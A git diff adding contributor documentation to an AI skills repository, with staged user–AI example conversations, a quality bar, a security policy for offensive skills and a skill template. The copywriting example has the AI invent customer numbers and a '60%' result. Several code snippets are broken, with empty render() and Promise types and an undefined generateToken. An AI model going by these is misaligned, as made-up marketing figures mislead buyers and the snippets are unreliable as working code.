+ I see you're using React with Tailwind CSS. Now, let's understand
+ your requirements:
+
+ What's your primary goal for dark mode?
+ a) User preference (toggle in settings)
+ b) System preference (follow OS setting)
+ c) Both (with manual override)
+
+You: c) Both
+
+AI: Perfect! That's the best user experience. Next question:
+
+ Where should the dark mode toggle be located?
+ a) In the main navigation
+ b) In a settings page
+ c) In a dropdown menu
+ d) Multiple locations
+
+You: a) In the main navigation
+
+AI: Good choice for accessibility. One more question:
+
+ Should dark mode preference persist across sessions?
+ a) Yes, save to localStorage
+ b) Yes, save to user account (requires backend)
+ c) No, reset each session
+
+You: a) Yes, save to localStorage
+
+AI: Excellent! Now I have a clear picture. Let me present the design...
+
+ ## Dark Mode Implementation Design
+
+ ### Architecture Overview
+ We'll use React Context for state management, Tailwind's dark mode
+ utilities, and localStorage for persistence. The system will:
+ 1. Check OS preference on first visit
+ 2. Allow manual override via toggle
+ 3. Persist preference in localStorage
+
+ Does this approach look good so far?
+
+You: Yes, continue
+
+AI: [Continues with detailed design sections...]
+
+ [After design is complete]
+
+ I've saved the design to docs/plans/2026-01-20-dark-mode-design.md
+
+ Ready to set up for implementation?
+
+You: Yes
+
+AI: I'll create an isolated workspace using git worktrees and write an
+ implementation plan. One moment...
+```
+
+### What Happened
+- ✅ AI asked focused questions one at a time
+- ✅ Explored your specific context
+- ✅ Presented design in sections
+- ✅ Saved documentation
+- ✅ Prepared for implementation
+
+---
+
+## Example 2: Debugging with @systematic-debugging
+
+### The Scenario
+Your tests are failing, but you're not sure why.
+
+### The Conversation
+
+```
+You: @systematic-debugging My tests are failing with "Cannot read property
+ 'map' of undefined"
+
+AI: Let me help you debug this systematically. First, I'll gather information:
+
+ 1. Running the failing test to see the full error...
+
+ [AI runs: npm test]
+
+ I see the error occurs in UserList.test.tsx at line 45. Let me examine
+ the test file and the component...
+
+ [AI reads both files]
+
+ ## Hypothesis
+ The test is failing because `users` prop is undefined when the component
+ renders. This suggests the mock data isn't being passed correctly.
+
+ ## Verification
+ Let me check the test setup...
+
+ [AI examines test]
+
+ Found it! The test is calling:
+ ```typescript
+ render()
+ ```
+
+ But UserList requires a `users` prop. The component expects:
+ ```typescript
+ interface UserListProps {
+ users: User[];
+ }
+ ```
+
+ ## Solution
+ The test should pass the users prop:
+ ```typescript
+ const mockUsers = [
+ { id: 1, name: 'Alice' },
+ { id: 2, name: 'Bob' }
+ ];
+
+ render()
+ ```
+
+ Should I apply this fix?
+
+You: Yes
+
+AI: [Applies fix and runs tests]
+
+ ✅ All tests passing!
+
+ ## Root Cause
+ The test was missing required props. This is a common issue when
+ components are refactored to require props that were previously optional.
+
+ ## Prevention
+ Consider adding TypeScript strict mode to catch these at compile time:
+ ```json
+ "strict": true,
+ "strictNullChecks": true
+ ```
+
+ Would you like me to add this to your tsconfig.json?
+```
+
+### What Happened
+- ✅ Systematic investigation
+- ✅ Clear hypothesis
+- ✅ Verification before fixing
+- ✅ Root cause analysis
+- ✅ Prevention suggestions
+
+---
+
+## Example 3: Adding Payments with @stripe-integration
+
+### The Scenario
+You need to add subscription billing to your SaaS app.
+
+### The Conversation
+
+```
+You: @stripe-integration I need to add monthly subscription billing
+
+AI: I'll help you implement Stripe subscriptions. Let me understand your
+ requirements:
+
+ Current stack detected:
+ - Next.js 14 (App Router)
+ - TypeScript
+ - Prisma with PostgreSQL
+
+ For subscription billing, we'll need:
+
+ 1. **Stripe Setup**
+ - Stripe account and API keys
+ - Webhook endpoint for events
+ - Product and price IDs
+
+ 2. **Backend Implementation**
+ - API routes for checkout
+ - Webhook handler
+ - Database schema for subscriptions
+
+ 3. **Frontend Implementation**
+ - Pricing page
+ - Checkout flow
+ - Subscription management
+
+ Let's start with the backend. First, install dependencies:
+
+ ```bash
+ npm install stripe @stripe/stripe-js
+ ```
+
+ Now, let's create the database schema...
+
+ [AI provides Prisma schema]
+
+ ```prisma
+ model User {
+ id String @id @default(cuid())
+ email String @unique
+ stripeCustomerId String? @unique
+ subscriptions Subscription[]
+ }
+
+ model Subscription {
+ id String @id @default(cuid())
+ userId String
+ user User @relation(fields: [userId], references: [id])
+ stripeSubscriptionId String @unique
+ status String
+ priceId String
+ currentPeriodEnd DateTime
+ createdAt DateTime @default(now())
+ updatedAt DateTime @updatedAt
+ }
+ ```
+
+ Next, let's create the checkout API route...
+
+ [AI provides complete implementation with:]
+ - API route for creating checkout sessions
+ - Webhook handler for subscription events
+ - Helper functions for Stripe operations
+ - Error handling and logging
+ - TypeScript types
+
+ Now for the frontend...
+
+ [AI provides:]
+ - Pricing page component
+ - Checkout button component
+ - Subscription status display
+ - Tailwind styling
+
+ Finally, let's set up the webhook:
+
+ 1. In Stripe Dashboard, add webhook endpoint:
+ `https://yourdomain.com/api/webhooks/stripe`
+
+ 2. Select these events:
+ - customer.subscription.created
+ - customer.subscription.updated
+ - customer.subscription.deleted
+ - invoice.payment_succeeded
+ - invoice.payment_failed
+
+ 3. Copy the webhook secret to your .env:
+ ```
+ STRIPE_WEBHOOK_SECRET=whsec_...
+ ```
+
+ ## Testing
+
+ Test locally with Stripe CLI:
+ ```bash
+ stripe listen --forward-to localhost:3000/api/webhooks/stripe
+ stripe trigger customer.subscription.created
+ ```
+
+ ## Security Checklist
+ - ✅ API keys in environment variables
+ - ✅ Webhook signature verification
+ - ✅ Server-side price validation
+ - ✅ Idempotency keys for operations
+
+ Ready to test the implementation?
+```
+
+### What Happened
+- ✅ Detected existing stack
+- ✅ Provided complete implementation
+- ✅ Included database schema
+- ✅ Added security best practices
+- ✅ Included testing instructions
+
+---
+
+## Example 4: Writing Copy with @copywriting
+
+### The Scenario
+You need compelling copy for your SaaS landing page.
+
+### The Conversation
+
+```
+You: @copywriting Write homepage copy for my project management tool
+
+AI: I'll help you create compelling homepage copy. First, let me understand
+ your product:
+
+ What makes your project management tool different from competitors
+ like Asana, Trello, or Monday.com?
+
+You: It's specifically built for remote teams with built-in video standups
+ and async communication features
+
+AI: Excellent differentiator! Who is your primary target audience?
+ a) Startups and small teams (2-20 people)
+ b) Mid-size companies (20-200 people)
+ c) Enterprise (200+ people)
+ d) Freelancers and agencies
+
+You: a) Startups and small teams
+
+AI: Perfect. What's the main pain point you solve?
+
+You: Remote teams waste time in unnecessary meetings and lose context
+ in async communication
+
+AI: Great! Now I have what I need. Here's your homepage copy:
+
+ ---
+
+ ## Hero Section
+
+ **Headline:**
+ Run Your Remote Team Without the Meeting Overload
+
+ **Subheadline:**
+ The project management tool built for distributed teams. Replace
+ status meetings with async video standups and keep everyone in sync
+ without the Zoom fatigue.
+
+ **CTA:**
+ Start Free Trial → (No credit card required)
+
+ ---
+
+ ## Problem Section
+
+ **Headline:**
+ Remote Work Shouldn't Mean More Meetings
+
+ **Body:**
+ Your team is distributed across time zones. You're spending hours in
+ status meetings just to stay aligned. Async updates get lost in Slack.
+ Context disappears. Productivity suffers.
+
+ Sound familiar?
+
+ ---
+
+ ## Solution Section
+
+ **Headline:**
+ Stay Aligned Without the Meeting Marathon
+
+ **Features:**
+
+ 📹 **Async Video Standups**
+ Record quick video updates on your schedule. Your team watches when
+ it works for them. No more 9am calls for your teammate in Tokyo.
+
+ 💬 **Context-Rich Communication**
+ Every task, comment, and decision stays connected. No more hunting
+ through Slack threads or email chains.
+
+ 📊 **Visual Progress Tracking**
+ See what's happening at a glance. Kanban boards, timelines, and
+ dashboards that actually make sense.
+
+ 🔔 **Smart Notifications**
+ Get notified about what matters. Ignore the rest. Your focus time
+ is sacred.
+
+ ---
+
+ ## Social Proof Section
+
+ **Headline:**
+ Trusted by Remote Teams Worldwide
+
+ [Testimonial placeholders with structure]
+
+ ---
+
+ ## CTA Section
+
+ **Headline:**
+ Ready to Reclaim Your Calendar?
+
+ **Body:**
+ Join 500+ remote teams who've cut meeting time by 60% while staying
+ more aligned than ever.
+
+ **CTA:**
+ Start Your Free 14-Day Trial →
+
+ No credit card required. Cancel anytime.
+
+ ---
+
+ ## Copy Notes
+
+ **Tone:** Professional but conversational
+ **Focus:** Pain point (too many meetings) → Solution (async video)
+ **Differentiation:** Built specifically for remote teams
+ **Social proof:** Quantified benefit (60% fewer meetings)
+
+ Would you like me to:
+ 1. Write alternative versions for A/B testing?
+ 2. Create copy for specific feature pages?
+ 3. Write email sequences for onboarding?
+```
+
+### What Happened
+- ✅ Asked clarifying questions
+- ✅ Identified unique value proposition
+- ✅ Created benefit-focused copy
+- ✅ Included clear CTAs
+- ✅ Provided copy notes for consistency
+
+---
+
+## Example 5: Test-Driven Development with @test-driven-development
+
+### The Scenario
+You need to implement a new feature: user authentication.
+
+### The Conversation
+
+```
+You: @test-driven-development I need to implement user login functionality
+
+AI: Perfect! Let's use TDD to build this. Following the Red-Green-Refactor
+ cycle, we'll write tests first, then implement.
+
+ ## Step 1: Write the First Test (RED)
+
+ Let's start with the simplest case - successful login:
+
+ ```typescript
+ // auth.test.ts
+ import { login } from './auth';
+
+ describe('login', () => {
+ it('should return user data for valid credentials', async () => {
+ const result = await login({
+ email: 'user@example.com',
+ password: 'correct-password'
+ });
+
+ expect(result.success).toBe(true);
+ expect(result.user).toHaveProperty('id');
+ expect(result.user).toHaveProperty('email');
+ expect(result.token).toBeDefined();
+ });
+ });
+ ```
+
+ Let's run this test to see it fail:
+
+ [AI runs: npm test]
+
+ ✅ Test fails as expected (auth.ts doesn't exist yet)
+
+ ## Step 2: Write Minimal Implementation (GREEN)
+
+ Now let's write just enough code to make this test pass:
+
+ ```typescript
+ // auth.ts
+ interface LoginCredentials {
+ email: string;
+ password: string;
+ }
+
+ interface LoginResult {
+ success: boolean;
+ user?: {
+ id: string;
+ email: string;
+ };
+ token?: string;
+ }
+
+ export async function login(
+ credentials: LoginCredentials
+ ): Promise {
+ // Minimal implementation to pass the test
+ return {
+ success: true,
+ user: {
+ id: '1',
+ email: credentials.email
+ },
+ token: 'fake-token'
+ };
+ }
+ ```
+
+ [AI runs: npm test]
+
+ ✅ Test passes!
+
+ ## Step 3: Add Next Test (RED)
+
+ Now let's test the failure case:
+
+ ```typescript
+ it('should return error for invalid credentials', async () => {
+ const result = await login({
+ email: 'user@example.com',
+ password: 'wrong-password'
+ });
+
+ expect(result.success).toBe(false);
+ expect(result.error).toBe('Invalid credentials');
+ expect(result.user).toBeUndefined();
+ expect(result.token).toBeUndefined();
+ });
+ ```
+
+ [AI runs: npm test]
+
+ ❌ Test fails (always returns success)
+
+ ## Step 4: Implement Real Logic (GREEN)
+
+ Now let's add actual authentication:
+
+ ```typescript
+ import bcrypt from 'bcrypt';
+ import jwt from 'jsonwebtoken';
+ import { db } from './db';
+
+ export async function login(
+ credentials: LoginCredentials
+ ): Promise {
+ // Find user
+ const user = await db.user.findUnique({
+ where: { email: credentials.email }
+ });
+
+ if (!user) {
+ return {
+ success: false,
+ error: 'Invalid credentials'
+ };
+ }
+
+ // Verify password
+ const validPassword = await bcrypt.compare(
+ credentials.password,
+ user.passwordHash
+ );
+
+ if (!validPassword) {
+ return {
+ success: false,
+ error: 'Invalid credentials'
+ };
+ }
+
+ // Generate token
+ const token = jwt.sign(
+ { userId: user.id },
+ process.env.JWT_SECRET!,
+ { expiresIn: '7d' }
+ );
+
+ return {
+ success: true,
+ user: {
+ id: user.id,
+ email: user.email
+ },
+ token
+ };
+ }
+ ```
+
+ [AI runs: npm test]
+
+ ✅ All tests pass!
+
+ ## Step 5: Add Edge Cases
+
+ Let's add more tests for edge cases:
+
+ ```typescript
+ it('should handle missing email', async () => {
+ const result = await login({
+ email: '',
+ password: 'password'
+ });
+
+ expect(result.success).toBe(false);
+ expect(result.error).toBe('Email is required');
+ });
+
+ it('should handle missing password', async () => {
+ const result = await login({
+ email: 'user@example.com',
+ password: ''
+ });
+
+ expect(result.success).toBe(false);
+ expect(result.error).toBe('Password is required');
+ });
+
+ it('should handle database errors gracefully', async () => {
+ // Mock database error
+ jest.spyOn(db.user, 'findUnique').mockRejectedValue(
+ new Error('Database connection failed')
+ );
+
+ const result = await login({
+ email: 'user@example.com',
+ password: 'password'
+ });
+
+ expect(result.success).toBe(false);
+ expect(result.error).toBe('An error occurred');
+ });
+ ```
+
+ [AI implements validation and error handling]
+
+ ## Step 6: Refactor (REFACTOR)
+
+ Now that all tests pass, let's refactor for better code quality:
+
+ ```typescript
+ // Extract validation
+ function validateCredentials(credentials: LoginCredentials): string | null {
+ if (!credentials.email) return 'Email is required';
+ if (!credentials.password) return 'Password is required';
+ return null;
+ }
+
+ // Extract user verification
+ async function verifyUser(
+ email: string,
+ password: string
+ ): Promise {
+ const user = await db.user.findUnique({ where: { email } });
+ if (!user) return null;
+
+ const valid = await bcrypt.compare(password, user.passwordHash);
+ return valid ? user : null;
+ }
+
+ // Main function is now cleaner
+ export async function login(
+ credentials: LoginCredentials
+ ): Promise {
+ try {
+ const validationError = validateCredentials(credentials);
+ if (validationError) {
+ return { success: false, error: validationError };
+ }
+
+ const user = await verifyUser(
+ credentials.email,
+ credentials.password
+ );
+
+ if (!user) {
+ return { success: false, error: 'Invalid credentials' };
+ }
+
+ const token = generateToken(user.id);
+
+ return {
+ success: true,
+ user: { id: user.id, email: user.email },
+ token
+ };
+ } catch (error) {
+ console.error('Login error:', error);
+ return { success: false, error: 'An error occurred' };
+ }
+ }
+ ```
+
+ [AI runs: npm test]
+
+ ✅ All tests still pass after refactoring!
+
+ ## Summary
+
+ We've implemented login functionality using TDD:
+ - ✅ 5 tests covering happy path, errors, and edge cases
+ - ✅ Clean, testable code
+ - ✅ Proper error handling
+ - ✅ Type safety with TypeScript
+
+ Next steps:
+ 1. Add rate limiting tests
+ 2. Add session management tests
+ 3. Add logout functionality
+
+ Should I continue with these?
+```
+
+### What Happened
+- ✅ Followed Red-Green-Refactor cycle
+- ✅ Wrote tests before implementation
+- ✅ Covered edge cases
+- ✅ Refactored with confidence
+- ✅ Maintained test coverage
+
+---
+
+## Key Takeaways
+
+### What Makes These Examples Effective?
+
+1. **Skills ask clarifying questions** before jumping to solutions
+2. **Skills provide context-aware help** based on your project
+3. **Skills follow best practices** for their domain
+4. **Skills include complete examples** not just snippets
+5. **Skills explain the "why"** not just the "how"
+
+### How to Get Similar Results
+
+1. **Be specific** in your requests
+2. **Provide context** about your project
+3. **Answer questions** the skill asks
+4. **Review suggestions** before applying
+5. **Iterate** based on results
+
+---
+
+## Try These Yourself!
+
+Pick a skill and try it with your own project:
+
+- **Planning:** `@brainstorming` or `@writing-plans`
+- **Development:** `@test-driven-development` or `@react-best-practices`
+- **Debugging:** `@systematic-debugging` or `@test-fixing`
+- **Integration:** `@stripe-integration` or `@firebase`
+- **Marketing:** `@copywriting` or `@seo-audit`
+
+---
+
+**Want more examples?** Check individual skill folders for additional examples and use cases!
diff --git a/docs/contributors/quality-bar.md b/docs/contributors/quality-bar.md
new file mode 100644
index 00000000..2cd628f7
--- /dev/null
+++ b/docs/contributors/quality-bar.md
@@ -0,0 +1,73 @@
+# 🏆 Quality Bar & Validation Standards
+
+To transform **Antigravity Awesome Skills** from a collection of scripts into a trusted platform, every skill must meet a specific standard of quality and safety.
+
+## The "Validated" Badge ✅
+
+A skill earns the "Validated" badge only if it meets these **5 quality checks**. Some are enforced automatically today, while others still require reviewer judgment:
+
+### 1. Metadata Integrity
+
+The `SKILL.md` frontmatter must be valid YAML and contain:
+
+- `name`: Kebab-case, matches folder name.
+- `description`: Under 200 chars, clear value prop.
+- `risk`: One of `[none, safe, critical, offensive, unknown]`. Use `unknown` only for legacy or unclassified skills; prefer a concrete level for new skills.
+- `source`: URL to original source (or "self" if original).
+
+### 2. Clear Triggers ("When to use")
+
+The skill MUST have a section explicitly stating when to trigger it.
+
+- **Good**: "Use when the user asks to debug a React component."
+- **Bad**: "This skill helps you with code."
+Accepted headings: `## When to Use`, `## Use this skill when`, `## When to Use This Skill`.
+
+### 3. Safety & Risk Classification
+
+Every skill must declare its risk level:
+
+- 🟢 **none**: Pure text/reasoning (e.g., Brainstorming).
+- 🔵 **safe**: Reads files, runs safe commands (e.g., Linter).
+- 🟠 **critical**: Modifies state, deletes files, pushes to prod (e.g., Git Push).
+- 🔴 **offensive**: Pentesting/Red Team tools. **MUST** have "Authorized Use Only" warning.
+
+### 4. Copy-Pasteable Examples
+
+At least one code block or interaction example that a user (or agent) can immediately use.
+
+### 5. Explicit Limitations
+
+A list of known edge cases or things the skill _cannot_ do.
+
+- _Example_: "Does not work on Windows without WSL."
+
+---
+
+## Support Levels
+
+We also categorize skills by who maintains them:
+
+| Level | Badge | Meaning |
+| :------------ | :---- | :-------------------------------------------------- |
+| **Official** | 🟣 | Maintained by the core team. High reliability. |
+| **Community** | ⚪ | Contributed by the ecosystem. Best effort support. |
+| **Verified** | ✨ | Community skill that has passed deep manual review. |
+
+---
+
+## How to Validate Your Skill
+
+The canonical validator is `tools/scripts/validate_skills.py`, but the recommended entrypoint is `npm run validate` before submitting a PR:
+
+```bash
+npm run validate
+npm run validate:references
+npm test
+```
+
+Notes:
+
+- `npm run validate` is the operational contributor gate.
+- `npm run validate:strict` is a useful hardening pass, but the repository still contains legacy skills that do not yet satisfy strict validation.
+- Examples and limitations remain part of the quality bar even when they are not fully auto-enforced by the current validator.
diff --git a/docs/contributors/security-guardrails.md b/docs/contributors/security-guardrails.md
new file mode 100644
index 00000000..feb26cf3
--- /dev/null
+++ b/docs/contributors/security-guardrails.md
@@ -0,0 +1,51 @@
+# 🛡️ Security Guardrails & Policy
+
+Antigravity Awesome Skills is a powerful toolkit. With great power comes great responsibility. This document defines the **Rules of Engagement** for all security and offensive capabilities in this repository.
+
+## 🔴 Offensive Skills Policy (The "Red Line")
+
+**What is an Offensive Skill?**
+Any skill designed to penetrate, exploit, disrupt, or simulate attacks against systems.
+_Examples: Pentesting, SQL Injection, Phishing Simulation, Red Teaming._
+
+### 1. The "Authorized Use Only" Disclaimer
+
+Every offensive skill **MUST** begin with this exact disclaimer in its `SKILL.md`:
+
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+### 2. Mandatory User Confirmation
+
+Offensive skills must **NEVER** run fully autonomously.
+
+- **Requirement**: The skill description/instructions must explicitly tell the agent to _ask for user confirmation_ before executing any exploit or attack command.
+- **Agent Instruction**: "Ask the user to verify the target URL/IP before running."
+
+### 3. Safe by Design
+
+- **No Weaponized Payloads**: Skills should not include active malware, ransomware, or non-educational exploits.
+- **Sandbox Recommended**: Instructions should recommend running in a contained environment (Docker/VM).
+
+---
+
+## 🔵 Defensive Skills Policy
+
+**What is a Defensive Skill?**
+Tools for hardening, auditing, monitoring, or protecting systems.
+_Examples: Linting, Log Analysis, Configuration Auditing._
+
+- **Data Privacy**: Defensive skills must not upload data to 3rd party servers without explicit user consent.
+- **Non-Destructive**: Audits should be read-only by default.
+
+---
+
+## ⚖️ Legal Disclaimer
+
+By using this repository, you agree that:
+
+1. You are responsible for your own actions.
+2. The authors and contributors are not liable for any damage caused by these tools.
+3. You will comply with all local, state, and federal laws regarding cybersecurity.
diff --git a/docs/contributors/skill-anatomy.md b/docs/contributors/skill-anatomy.md
new file mode 100644
index 00000000..61e262c1
--- /dev/null
+++ b/docs/contributors/skill-anatomy.md
@@ -0,0 +1,545 @@
+# Anatomy of a Skill - Understanding the Structure
+
+**Want to understand how skills work under the hood?** This guide breaks down every part of a skill file.
+
+---
+
+## 📁 Basic Folder Structure
+
+```
+skills/
+└── my-skill-name/
+ ├── SKILL.md ← Required: The main skill definition
+ ├── examples/ ← Optional: Example files
+ │ ├── example1.js
+ │ └── example2.py
+ ├── scripts/ ← Optional: Helper scripts
+ │ └── helper.sh
+ ├── templates/ ← Optional: Code templates
+ │ └── template.tsx
+ ├── references/ ← Optional: Reference documentation
+ │ └── api-docs.md
+ └── README.md ← Optional: Additional documentation
+```
+
+**Key Rule:** Only `SKILL.md` is required. Everything else is optional!
+
+---
+
+## SKILL.md Structure
+
+Every `SKILL.md` file has two main parts:
+
+### 1. Frontmatter (Metadata)
+### 2. Content (Instructions)
+
+Let's break down each part:
+
+---
+
+## Part 1: Frontmatter
+
+The frontmatter is at the very top, wrapped in `---`:
+
+```markdown
+---
+name: my-skill-name
+description: "Brief description of what this skill does"
+---
+```
+
+### Required Fields
+
+#### `name`
+- **What it is:** The skill's identifier
+- **Format:** lowercase-with-hyphens
+- **Must match:** The folder name exactly
+- **Example:** `stripe-integration`
+
+#### `description`
+- **What it is:** One-sentence summary
+- **Format:** String in quotes
+- **Length:** Keep it under 150 characters
+- **Example:** `"Stripe payment integration patterns including checkout, subscriptions, and webhooks"`
+
+### Optional Fields
+
+Some skills include additional metadata:
+
+```markdown
+---
+name: my-skill-name
+description: "Brief description"
+version: "1.0.0"
+author: "Your Name"
+tags: ["react", "typescript", "testing"]
+---
+```
+
+---
+
+## Part 2: Content
+
+After the frontmatter comes the actual skill content. Here's the recommended structure:
+
+### Recommended Sections
+
+#### 1. Title (H1)
+```markdown
+# Skill Title
+```
+- Use a clear, descriptive title
+- Usually matches or expands on the skill name
+
+#### 2. Overview
+```markdown
+## Overview
+
+A brief explanation of what this skill does and why it exists.
+2-4 sentences is perfect.
+```
+
+#### 3. When to Use
+```markdown
+## When to Use This Skill
+
+- Use when you need to [scenario 1]
+- Use when working with [scenario 2]
+- Use when the user asks about [scenario 3]
+```
+
+**Why this matters:** Helps the AI know when to activate this skill
+
+#### 4. Core Instructions
+```markdown
+## How It Works
+
+### Step 1: [Action]
+Detailed instructions...
+
+### Step 2: [Action]
+More instructions...
+```
+
+**This is the heart of your skill** - clear, actionable steps
+
+#### 5. Examples
+```markdown
+## Examples
+
+### Example 1: [Use Case]
+\`\`\`javascript
+// Example code
+\`\`\`
+
+### Example 2: [Another Use Case]
+\`\`\`javascript
+// More code
+\`\`\`
+```
+
+**Why examples matter:** They show the AI exactly what good output looks like
+
+#### 6. Best Practices
+```markdown
+## Best Practices
+
+- ✅ Do this
+- ✅ Also do this
+- ❌ Don't do this
+- ❌ Avoid this
+```
+
+#### 7. Common Pitfalls
+```markdown
+## Common Pitfalls
+
+- **Problem:** Description
+ **Solution:** How to fix it
+```
+
+#### 8. Related Skills
+```markdown
+## Related Skills
+
+- `@other-skill` - When to use this instead
+- `@complementary-skill` - How this works together
+```
+
+---
+
+## Writing Effective Instructions
+
+### Use Clear, Direct Language
+
+**❌ Bad:**
+```markdown
+You might want to consider possibly checking if the user has authentication.
+```
+
+**✅ Good:**
+```markdown
+Check if the user is authenticated before proceeding.
+```
+
+### Use Action Verbs
+
+**❌ Bad:**
+```markdown
+The file should be created...
+```
+
+**✅ Good:**
+```markdown
+Create the file...
+```
+
+### Be Specific
+
+**❌ Bad:**
+```markdown
+Set up the database properly.
+```
+
+**✅ Good:**
+```markdown
+1. Create a PostgreSQL database
+2. Run migrations: `npm run migrate`
+3. Seed initial data: `npm run seed`
+```
+
+---
+
+## Optional Components
+
+### Scripts Directory
+
+If your skill needs helper scripts:
+
+```
+scripts/
+├── setup.sh ← Setup automation
+├── validate.py ← Validation tools
+└── generate.js ← Code generators
+```
+
+**Reference them in SKILL.md:**
+```markdown
+Run the setup script:
+\`\`\`bash
+bash scripts/setup.sh
+\`\`\`
+```
+
+### Examples Directory
+
+Real-world examples that demonstrate the skill:
+
+```
+examples/
+├── basic-usage.js
+├── advanced-pattern.ts
+└── full-implementation/
+ ├── index.js
+ └── config.json
+```
+
+### Templates Directory
+
+Reusable code templates:
+
+```
+templates/
+├── component.tsx
+├── test.spec.ts
+└── config.json
+```
+
+**Reference in SKILL.md:**
+```markdown
+Use this template as a starting point:
+\`\`\`typescript
+{{#include templates/component.tsx}}
+\`\`\`
+```
+
+### References Directory
+
+External documentation or API references:
+
+```
+references/
+├── api-docs.md
+├── best-practices.md
+└── troubleshooting.md
+```
+
+---
+
+## Skill Size Guidelines
+
+### Minimum Viable Skill
+- **Frontmatter:** name + description
+- **Content:** 100-200 words
+- **Sections:** Overview + Instructions
+
+### Standard Skill
+- **Frontmatter:** name + description
+- **Content:** 300-800 words
+- **Sections:** Overview + When to Use + Instructions + Examples
+
+### Comprehensive Skill
+- **Frontmatter:** name + description + optional fields
+- **Content:** 800-2000 words
+- **Sections:** All recommended sections
+- **Extras:** Scripts, examples, templates
+
+**Rule of thumb:** Start small, expand based on feedback
+
+---
+
+## Formatting Best Practices
+
+### Use Markdown Effectively
+
+#### Code Blocks
+Always specify the language:
+```markdown
+\`\`\`javascript
+const example = "code";
+\`\`\`
+```
+
+#### Lists
+Use consistent formatting:
+```markdown
+- Item 1
+- Item 2
+ - Sub-item 2.1
+ - Sub-item 2.2
+```
+
+#### Emphasis
+- **Bold** for important terms: `**important**`
+- *Italic* for emphasis: `*emphasis*`
+- `Code` for commands/code: `` `code` ``
+
+#### Links
+```markdown
+[Link text](https://example.com)
+```
+
+---
+
+## ✅ Quality Checklist
+
+Before finalizing your skill:
+
+### Content Quality
+- [ ] Instructions are clear and actionable
+- [ ] Examples are realistic and helpful
+- [ ] No typos or grammar errors
+- [ ] Technical accuracy verified
+
+### Structure
+- [ ] Frontmatter is valid YAML
+- [ ] Name matches folder name
+- [ ] Sections are logically organized
+- [ ] Headings follow hierarchy (H1 → H2 → H3)
+
+### Completeness
+- [ ] Overview explains the "why"
+- [ ] Instructions explain the "how"
+- [ ] Examples show the "what"
+- [ ] Edge cases are addressed
+
+### Usability
+- [ ] A beginner could follow this
+- [ ] An expert would find it useful
+- [ ] The AI can parse it correctly
+- [ ] It solves a real problem
+
+---
+
+## 🔍 Real-World Example Analysis
+
+Let's analyze a real skill: `brainstorming`
+
+```markdown
+---
+name: brainstorming
+description: "You MUST use this before any creative work..."
+---
+```
+
+**Analysis:**
+- ✅ Clear name
+- ✅ Strong description with urgency ("MUST use")
+- ✅ Explains when to use it
+
+```markdown
+# Brainstorming Ideas Into Designs
+
+## Overview
+Help turn ideas into fully formed designs...
+```
+
+**Analysis:**
+- ✅ Clear title
+- ✅ Concise overview
+- ✅ Explains the value proposition
+
+```markdown
+## The Process
+
+**Understanding the idea:**
+- Check out the current project state first
+- Ask questions one at a time
+```
+
+**Analysis:**
+- ✅ Broken into clear phases
+- ✅ Specific, actionable steps
+- ✅ Easy to follow
+
+---
+
+## Advanced Patterns
+
+### Conditional Logic
+
+```markdown
+## Instructions
+
+If the user is working with React:
+- Use functional components
+- Prefer hooks over class components
+
+If the user is working with Vue:
+- Use Composition API
+- Follow Vue 3 patterns
+```
+
+### Progressive Disclosure
+
+```markdown
+## Basic Usage
+[Simple instructions for common cases]
+
+## Advanced Usage
+[Complex patterns for power users]
+```
+
+### Cross-References
+
+```markdown
+## Related Workflows
+
+1. First, use `@brainstorming` to design
+2. Then, use `@writing-plans` to plan
+3. Finally, use `@test-driven-development` to implement
+```
+
+---
+
+## Skill Effectiveness Metrics
+
+How to know if your skill is good:
+
+### Clarity Test
+- Can someone unfamiliar with the topic follow it?
+- Are there any ambiguous instructions?
+
+### Completeness Test
+- Does it cover the happy path?
+- Does it handle edge cases?
+- Are error scenarios addressed?
+
+### Usefulness Test
+- Does it solve a real problem?
+- Would you use this yourself?
+- Does it save time or improve quality?
+
+---
+
+## Learning from Existing Skills
+
+### Study These Examples
+
+**For Beginners:**
+- `skills/brainstorming/SKILL.md` - Clear structure
+- `skills/git-pushing/SKILL.md` - Simple and focused
+- `skills/copywriting/SKILL.md` - Good examples
+
+**For Advanced:**
+- `skills/systematic-debugging/SKILL.md` - Comprehensive
+- `skills/react-best-practices/SKILL.md` - Multiple files
+- `skills/loki-mode/SKILL.md` - Complex workflows
+
+---
+
+## 💡 Pro Tips
+
+1. **Start with the "When to Use" section** - This clarifies the skill's purpose
+2. **Write examples first** - They help you understand what you're teaching
+3. **Test with an AI** - See if it actually works before submitting
+4. **Get feedback** - Ask others to review your skill
+5. **Iterate** - Skills improve over time based on usage
+
+---
+
+## Common Mistakes to Avoid
+
+### ❌ Mistake 1: Too Vague
+```markdown
+## Instructions
+Make the code better.
+```
+
+**✅ Fix:**
+```markdown
+## Instructions
+1. Extract repeated logic into functions
+2. Add error handling for edge cases
+3. Write unit tests for core functionality
+```
+
+### ❌ Mistake 2: Too Complex
+```markdown
+## Instructions
+[5000 words of dense technical jargon]
+```
+
+**✅ Fix:**
+Break into multiple skills or use progressive disclosure
+
+### ❌ Mistake 3: No Examples
+```markdown
+## Instructions
+[Instructions without any code examples]
+```
+
+**✅ Fix:**
+Add at least 2-3 realistic examples
+
+### ❌ Mistake 4: Outdated Information
+```markdown
+Use React class components...
+```
+
+**✅ Fix:**
+Keep skills updated with current best practices
+
+---
+
+## 🎯 Next Steps
+
+1. **Read 3-5 existing skills** to see different styles
+2. **Try the skill template** from [`../../CONTRIBUTING.md`](../../CONTRIBUTING.md)
+3. **Create a simple skill** for something you know well
+4. **Test it** with your AI assistant
+5. **Share it** via Pull Request
+
+---
+
+**Remember:** Every expert was once a beginner. Start simple, learn from feedback, and improve over time! 🚀
diff --git a/docs/contributors/skill-template.md b/docs/contributors/skill-template.md
new file mode 100644
index 00000000..3aa67fb4
--- /dev/null
+++ b/docs/contributors/skill-template.md
@@ -0,0 +1,65 @@
+---
+name: your-skill-name
+description: "Brief one-sentence description of what this skill does (under 200 characters)"
+category: your-category
+risk: safe
+source: community
+date_added: "YYYY-MM-DD"
+author: your-name-or-handle
+tags: [tag-one, tag-two]
+tools: [claude, cursor, gemini]
+---
+
+# Skill Title
+
+## Overview
+
+A brief explanation of what this skill does and why it exists.
+2-4 sentences is perfect.
+
+## When to Use This Skill
+
+- Use when you need to [scenario 1]
+- Use when working with [scenario 2]
+- Use when the user asks about [scenario 3]
+
+## How It Works
+
+### Step 1: [Action]
+
+Detailed instructions...
+
+### Step 2: [Action]
+
